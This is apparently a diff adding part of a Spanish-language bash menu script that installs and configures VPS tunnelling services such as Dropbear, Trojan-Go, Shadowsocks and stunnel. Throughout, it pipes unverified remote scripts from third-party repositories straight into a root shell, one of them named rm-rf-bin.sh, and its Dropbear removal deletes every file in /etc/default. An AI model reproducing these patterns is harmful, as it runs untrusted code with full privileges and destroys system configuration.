+msg -bar
+echo -e "${cor[3]} DROPBEAR CONFIGURADO"
+msg -bar
+;;
+2)
+ [[ -e /etc/default/dropbear ]] && {
+ echo -e "\033[1;32m REMOVIENDO DROPBEAR"
+ msg -bar
+service dropbear stop 1> /dev/null 2> /dev/null
+service sshd restart > /dev/null 2>&1
+service ssh restart > /dev/null 2>&1
+ fun_bar "apt-get remove dropbear -y"
+killall dropbear 1> /dev/null 2> /dev/null
+apt-get -y purge dropbear 1> /dev/null 2> /dev/null
+apt-get -y remove dropbear 1> /dev/null 2> /dev/null
+apt autoremove -y 1> /dev/null 2> /dev/null
+#|[[ -e /bin/ejecutar/sshd_config ]] && mv /bin/ejecutar/sshd_config /etc/ssh/sshd_config
+ msg -bar
+ echo -e "\033[1;32m DROPBEAR DESINSTALADO "
+ msg -bar
+ [[ -d /etc/default/ ]] && rm -f /etc/default/*
+ user -k $dpa/tcp > /dev/null 2>&1
+ return
+ }
+;;
+3)
+[[ -e /etc/default/dropbear ]] && {
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+echo "Puertos que Corren en DROPBEAR " $dropbearports
+cp /etc/default/dropbear /etc/default/dropbear.or
+echo "Ingresa Nuevo Puerto Escuchar:"
+read -p ": " portdrop
+dnew="$portdrop"
+fun_bar
+if lsof -Pi :$portdrop -sTCP:LISTEN -t >/dev/null ; then
+echo "Puerto Seleccionado Ocupado | Reintenta"
+else
+ #sed -i "2d" /etc/default/dropbear
+dvj=$(cat < /etc/default/dadd)
+sed -i "s/$dvj/$dnew -p $dvj/g" /etc/default/dropbear
+#sed -i '2i DROPBEAR_EXTRA_ARGS="-p '"$portdrop"'"' /etc/default/dropbear
+echo $portdrop > /etc/default/dadd
+echo "Reiniciando Dropbear para ejecutar cambios"
+fun_bar
+service dropbear restart
+dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /ADMcgh/dropbearports.txt && cat /ADMcgh/dropbearports.txt`;
+echo "Puertos que Corren en DROPBEAR " $dropbearports
+foc=1
+addnewd
+fi
+ return 0
+ }
+echo "Desgraciado, No HAS INSTALADO EL SERVICIO AUN ;C"
+ return 0
+;;
+*)
+ return 0
+;;
+esac
+}
+
+
+fun_shadowsocks () {
+wget -q https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/shadowsocks.sh
+figlet ChumoGH
+bash shadowsocks.sh
+rm shadowsocks.sh
+}
+
+
+instala_clash () {
+# while :
+# do
+# clear
+#[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} "
+tittle
+echo -e "\033[1;37m ?? ?? Reseller :$(cat < /etc/scpdk1/menu_credito | head -1) - ADM 2023 ?? 】\033[0m"
+echo -e "[\033[1;31m-\033[1;33m]\033[1;31m #######################################\033[1;33m"
+echo -e "\033[1;37mSeleccione una opcion : Para Salir Ctrl + C\033[1;33m"
+#echo -e "${cor[3]} Esta herramienta Permite escojer el menu Clash Nuevo y Antiguo"
+#echo -e "${cor[3]} Si manejas los Menu de Trojan Y v2ray, Usa 1"
+#msg -bar
+echo -e " \033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} CLASH FOR ANDROID ( 2023 ) "
+sleep 2s
+#echo -e " \033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} Menu Clash - Menu Antiguo (Ingreso Manual)"
+#msg -bar
+#echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")"
+#msg -bar
+#selection=$(selection_fun 2)
+#case ${selection} in
+# 1)
+ source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/clash-beta.sh)
+ read -p " Presiona Enter Para Continuar "
+# return 0;;
+# 2)
+# wget -q -O /bin/ejecutar/clash.sh https://www.dropbox.com/s/tyuz3ms5zv73pyy/clash.sh
+# chmod +x /bin/ejecutar/clash.sh
+# bash /bin/ejecutar/clash.sh
+# [[ -e /bin/ejecutar/clash.sh ]] && rm /bin/ejecutar/clash.sh
+# return 0
+# ;;
+# 0) break
+# return 0
+## *) echo -e "\n selecione una opcion del 0 al 2" && sleep 1;;
+# esac
+# done
+#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ChumoGH-Script/master/Clash/clash.sh)
+#bash -c "$(curl -fsSL https://raw.githubusercontent.com/JeannieStudio/all_install/master/SixForOne_install.sh)"
+}
+
+iniciarsocks () {
+#source <(curl -sL https://raw.githubusercontent.com/ChumoGH/ScriptCGH/main/HTools/Python/SocksPY-lite.sh)
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/SockPython.sh)
+}
+
+ssrmenu()
+{
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ssrrmu.sh)
+}
+
+trojan()
+{
+[[ $(mportas|grep trojan|head -1) ]] && {
+# INICIO STUNNEL ACTIVO
+msg -bar
+echo -e "${cor[2]} Trojan-Go ACTIVO en Puertos: $trojanports "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m CONTROL PANNEL \033[0;32m(#OFICIAL by @ChumoGH)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m ELIMINAR TROJAN-GO (s)"
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+1)
+#MOD TROJAN REFORMADO EN V5
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/trojango-sh/trojan-sh/mod-trojan.sh);;
+2)
+source <(curl -sL https://git.io/trojan-install) --remove
+killall trojan &> /dev/null 2>&1
+[[ -e /usr/local/etc/trojan/config.json ]] && rm -f /usr/local/etc/trojan /usr/local/etc/trojan/config.json
+[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+;;
+0)
+return 0
+;;
+esac
+#FIN VERIFICA STUNNEL4 ACTIVO
+} || {
+wget -q -O trojango.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/rm-rf-bin.sh && chmod +x trojango.sh && ./trojango.sh && rm -f trojango.sh
+return 0
+}
+
+}
+
+ssl_stunel() {
+unset selection
+msg -bar
+echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 4 \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 5 \033[0;32m(#OFICIAL)"
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+1)
+clear&&clear
+ssl_stunel4
+;;
+2)
+clear&&clear
+ssl_stunel5
+;;
+*)
+return 0
+;;
+esac
+}
+
+ssl_stunel4 () {
+unset lang
+sslkk
+[[ $(mportas|grep stunnel|head -1) ]] && {
+[[ -e /usr/local/etc/stunnel/stunnel.conf && ! -e /etc/stunnel/stunnel.conf ]] && {
+echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 5" && sleep 2s
+ssl_stunel5 && return
+}
+# INICIO STUNNEL ACTIVO
+#/ADMcgh/header "ports_"
+sslkk
+msg -bar
+echo -e "${cor[2]} SSL / TLS -> STUNNEL4 ACTIVOS : $sslports "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m CERRAR PUERTO(s) SSL"
+msg -bar
+selection=$(selection_fun 3)
+case ${selection} in
+0)
+return 0
+;;
+1)
+#clear
+###
+#head -n -2 /ADMcgh/header > headuser.sh && chmod 777 headuser.sh && source headuser.sh && rm headuser.sh
+#source header "ports_"
+#echo -e "Escriba un nombre para el Redireccionador SSL"
+#read -p ": " nombressl
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) "
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portserv
+ if [[ ! -z $portserv ]]; then
+ if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then
+ break
+ else
+ portserv="$pt"
+ break
+ fi
+ fi
+ done
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+
+echo "[stunnel] " >> /etc/stunnel/stunnel.conf
+echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf
+echo "accept = $SSLPORT " >> /etc/stunnel/stunnel.conf
+echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp
+service ssh restart 1>/dev/null 2 /dev/null
+service stunnel4 start 1>/dev/null 2 /dev/null
+service stunnel4 restart 1>/dev/null 2 /dev/null
+sslkk
+echo -e "${cor[2]}STUNNEL ACTIVO en Puertos : ${cor[2]}$sslports "
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+#echo "Limpieza Finalizada"
+unset lang
+return 0
+;;
+2)
+echo ""
+echo -e " Creditos a @ChumoGH "
+msg -bar
+read -p " Presiona Enter para continuar "
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh)
+return 0
+;;
+3)
+unset lang
+service stunnel4 stop
+msg -bar
+echo -e "\033[1;33m Cerrando PUERTO SSL/TLS"
+msg -bar
+fun_bar 'apt-get remove stunnel4 -y' 'apt-get purge stunnel4 -y'
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+#echo "Limpieza Finalizada"
+rm -rf /etc/stunnel/* > /dev/null
+echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!"
+msg -bar
+return 0
+;;
+esac
+#FIN VERIFICA STUNNEL4 ACTIVO
+}
+unset lang
+figlet " SSL / TLS " | boxes -d stone -p a2v1
+msg -bar
+echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;31m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - By @KillShito \033[0;33m(#EXPERIMENTAL)"
+msg -bar
+selection=$(selection_fun 6)
+case ${selection} in
+1)
+msg -bar
+echo -e " Para Crear su Certificado SSL \n En su Primera instancia coloque Codigo de su PAIS \n Ejemplo : EC "
+msg -bar
+echo -e " A continuacion los codigos de Validacion de su Certificado"
+read -p " Presiona Enter para continuar la Instalacion"
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ssl)
+return 0
+;;
+2)
+#sshports=`netstat -tunlp | grep sshd | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssh.txt && echo | cat /tmp/ssh.txt | tr '\n' ' ' > /ADMcgh/sshports.txt && cat /ADMcgh/sshports.txt`;
+#sshports=$(cat /ADMcgh/sshports.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+fun_bar "apt install stunnel4 -y"
+echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf
+openssl genrsa -out key.pem 2048 > /dev/null 2>&1
+(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1
+cat key.pem cert.pem >> /etc/stunnel/stunnel.pem
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+service stunnel4 restart > /dev/null 2>&1
+msg -bar
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+3)
+car_cert () {
+[[ -e /etc/stunnel/stunnel.pem ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25
+msg -bar
+echo -e "Descarga el fichero URL del Certificado SSL "
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online"
+ echo -e " Si Aun no lo has hecho, Cancela este paso"
+ echo -e " Evitar Errores Futuros"
+ echo -e " y causar problemas en futuras instalaciones.\033[0m"
+ msg -bar
+msg -bar
+echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados "
+msg -bar
+read -p " Pega tu Link : " urlm
+wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido"
+msg -bar
+echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m"
+msg -bar
+unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir "
+[[ -e private.key ]] && cat private.key > /etc/stunnel/stunnel.pem && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m"
+[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt >> /etc/stunnel/stunnel.pem && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m"
+rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME
+}
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i "22" portx
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ return
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+echo -e "\033[1;33m Digite el Puerto SSL, que Va a USAR:"
+msg -bar
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+fun_bar "apt install stunnel4 -y"
+echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf
+car_cert
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+service stunnel4 restart > /dev/null 2>&1
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+msg -bar
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+4)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+fun_bar "apt install stunnel4 -y"
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh)
+echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+[[ -e /data/cert.crt && -e /data/cert.key ]] && cat /data/cert.key /data/cert.crt >> /etc/stunnel/stunnel.pem || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+apt purge stunnel4 -y > /dev/null 2>&1
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION FALLIDA"
+msg -bar
+return 0
+}
+service stunnel4 restart > /dev/null 2>&1
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+5)
+#echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito "
+echo ""
+echo -e " Creditos a @ChumoGH "
+msg -bar
+read -p " Presiona Enter para continuar "
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh)
+return 0
+;;
+6)
+msg -bar
+echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito "
+echo ""
+echo -e " Creditos a @KillShito "
+msg -bar
+read -p " Presiona Enter para continuar "
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/front.sh)
+return 0
+;;
+*)
+return 0
+;;
+esac
+}
+
+_fun_ST5() {
+sudo apt install autoconf automake libpcre3-dev libnl-3-dev libsqlite3-dev libssl-dev ethtool build-essential g++ libnl-genl-3-dev libgcrypt20-dev libtool python3-distutils -y
+sudo apt install -y pkg-config
+#git clone https://github.com/mtrojnar/stunnel.git
+wget -O stunnel.tar.gz https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/stunnel-5.65.tar.gz
+tar xzf stunnel.tar.gz
+rm -f stunnel.tar.gz
+cd ./stunnel-5.65
+#cd ./stunnel
+./configure
+make
+make install
+#cd /ADMcgh && rm -rf stunnel*
+[[ -z $(cat /etc/passwd | grep "stunnel" | grep -v "stunnel4") ]] && useradd -s /usr/sbin/nologin -r stunnel
+[[ -d /var/lib/stunnel ]] || mkdir /var/lib/stunnel
+chown stunnel:stunnel /var/lib/stunnel
+cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+}
+function inst_stunnel5() {
+ sleep 1
+ helice() {
+ _fun_ST5 >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m INSTALANDO Y COMPILANDO \033[1;32mSTUNNEL \033[1;37mV \033[1;32m5\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+
+ssl_stunel5 () {
+unset lang
+
+sslkk
+[[ $(mportas|grep stunnel|head -1) ]] && {
+[[ ! -e /usr/local/etc/stunnel/stunnel.conf && -e /etc/stunnel/stunnel.conf ]] && {
+echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 4" && sleep 2s
+ssl_stunel4 && return
+}
+# INICIO STUNNEL ACTIVO
+#/ADMcgh/header "ports_"
+msg -bar
+echo -e "${cor[2]} SSL / TLS -> STUNNEL5 ACTIVOS : $sslports "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL (STUNNEL5) \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m CERRAR TODOS LOS PUERTO(s) SSL"
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+0)
+return 0
+;;
+1)source header "ports_"
+unset portserv
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) "
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portserv
+ if [[ ! -z $portserv ]]; then
+ if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then
+ break
+ else
+ portserv="$pt"
+ break
+ fi
+ fi
+ done
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+
+echo "
+[stunnel5]
+accept = ${SSLPORT}
+connect = ${portserv}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" >> /usr/local/etc/stunnel/stunnel.conf
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp
+service ssh restart 1>/dev/null 2 /dev/null
+systemctl daemon-reload &>/dev/null
+systemctl restart stunnel5 &>/dev/null
+sslkk
+echo -e "${cor[2]}STUNNEL5 ACTIVO en Puertos : ${cor[2]}$sslports "
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+unset lang
+return 0
+;;
+2)
+unset lang
+msg -bar
+echo -e "\033[1;33m Cerrando PUERTO SSL/TLS"
+msg -bar
+fun_bar
+systemctl daemon-reload &>/dev/null
+systemctl stop stunnel5 &>/dev/null
+systemctl disable stunnel5 &>/dev/null
+rm -f /etc/systemd/system/stunnel5.service &>/dev/null
+rm -rf /usr/local/etc/stunnel &>/dev/null
+rm -rf /usr/local/share/doc/stunnel &>/dev/null
+rm -rf /ADMcgh/stunnel* &>/dev/null
+rm -rf /var/lib/stunnel
+msg -bar
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+rm -rf /etc/stunnel/* > /dev/null
+echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!"
